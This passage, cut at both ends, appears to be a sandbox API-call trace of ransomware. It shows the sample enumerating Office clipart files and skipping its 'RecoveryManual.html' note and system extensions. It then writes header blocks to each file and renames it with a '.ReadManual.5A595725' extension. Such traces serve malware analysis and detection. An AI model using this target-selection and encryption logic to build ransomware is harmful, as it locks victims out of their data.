lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.ReadManual.5A595725" [0271.289] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.ReadManual.5A595725") returned 87 [0271.289] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39195821045) returned 1 [0271.289] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf")) returned 0x20 [0271.290] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.290] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1436) returned 1 [0271.290] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59c, lpName=0x0) returned 0x184 [0271.290] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.291] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.291] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.292] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.292] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x59c) returned 0x2f0000 [0271.293] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.293] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39196145020) returned 1 [0271.293] CloseHandle (hObject=0x184) returned 1 [0271.293] SetSecurityInfo () returned 0x57 [0271.293] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.293] CloseHandle (hObject=0x194) returned 1 [0271.293] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE01191_.WMF", cAlternateFileName="")) returned 1 [0271.293] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE01191_.WMF" | out: lpString1="PE01191_.WMF") returned="PE01191_.WMF" [0271.293] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.293] StrStrIW (lpFirst="PE01191_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.293] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.293] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.293] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" [0271.294] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.ReadManual.5A595725" [0271.294] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.ReadManual.5A595725") returned 87 [0271.294] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39196236412) returned 1 [0271.294] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf")) returned 0x20 [0271.294] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.295] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16284) returned 1 [0271.295] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f9c, lpName=0x0) returned 0x184 [0271.295] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.296] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.296] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.297] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.298] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f9c) returned 0x2f0000 [0271.298] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.298] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39196674087) returned 1 [0271.298] CloseHandle (hObject=0x184) returned 1 [0271.298] SetSecurityInfo () returned 0x57 [0271.298] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.298] CloseHandle (hObject=0x194) returned 1 [0271.298] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE01661_.WMF", cAlternateFileName="")) returned 1 [0271.298] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE01661_.WMF" | out: lpString1="PE01661_.WMF") returned="PE01661_.WMF" [0271.298] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.298] StrStrIW (lpFirst="PE01661_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.298] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.298] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.298] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.299] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.299] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" [0271.299] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.ReadManual.5A595725" [0271.299] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.ReadManual.5A595725") returned 87 [0271.299] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39196766176) returned 1 [0271.299] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf")) returned 0x20 [0271.299] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.299] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5144) returned 1 [0271.299] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1418, lpName=0x0) returned 0x184 [0271.300] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.300] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.300] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.302] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.302] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1418) returned 0x2f0000 [0271.302] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.302] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39197117396) returned 1 [0271.302] CloseHandle (hObject=0x184) returned 1 [0271.302] SetSecurityInfo () returned 0x57 [0271.303] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.303] CloseHandle (hObject=0x194) returned 1 [0271.303] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE01797_.WMF", cAlternateFileName="")) returned 1 [0271.303] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE01797_.WMF" | out: lpString1="PE01797_.WMF") returned="PE01797_.WMF" [0271.303] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.303] StrStrIW (lpFirst="PE01797_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.303] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.303] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.303] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" [0271.303] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.ReadManual.5A595725" [0271.303] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.ReadManual.5A595725") returned 87 [0271.303] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39197207329) returned 1 [0271.303] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf")) returned 0x20 [0271.304] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.304] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3546) returned 1 [0271.304] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdda, lpName=0x0) returned 0x184 [0271.304] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.305] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.305] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.307] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.307] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdda) returned 0x2f0000 [0271.307] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.307] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39197575249) returned 1 [0271.307] CloseHandle (hObject=0x184) returned 1 [0271.307] SetSecurityInfo () returned 0x57 [0271.307] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.307] CloseHandle (hObject=0x194) returned 1 [0271.307] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02120_.WMF", cAlternateFileName="")) returned 1 [0271.307] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02120_.WMF" | out: lpString1="PE02120_.WMF") returned="PE02120_.WMF" [0271.307] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.307] StrStrIW (lpFirst="PE02120_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.307] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.307] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.307] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.308] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.308] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" [0271.308] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.ReadManual.5A595725" [0271.308] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.ReadManual.5A595725") returned 87 [0271.308] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39197667922) returned 1 [0271.308] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf")) returned 0x20 [0271.308] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.308] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9172) returned 1 [0271.308] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23d4, lpName=0x0) returned 0x184 [0271.309] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.309] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.309] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.314] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.314] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23d4) returned 0x2f0000 [0271.314] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.314] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39198293140) returned 1 [0271.314] CloseHandle (hObject=0x184) returned 1 [0271.314] SetSecurityInfo () returned 0x57 [0271.314] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.314] CloseHandle (hObject=0x194) returned 1 [0271.314] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02169_.WMF", cAlternateFileName="")) returned 1 [0271.314] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02169_.WMF" | out: lpString1="PE02169_.WMF") returned="PE02169_.WMF" [0271.315] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.315] StrStrIW (lpFirst="PE02169_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.315] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.315] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.315] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" [0271.315] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.ReadManual.5A595725" [0271.315] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.ReadManual.5A595725") returned 87 [0271.315] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39198382191) returned 1 [0271.315] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf")) returned 0x20 [0271.316] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.316] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8132) returned 1 [0271.316] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fc4, lpName=0x0) returned 0x184 [0271.316] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.317] 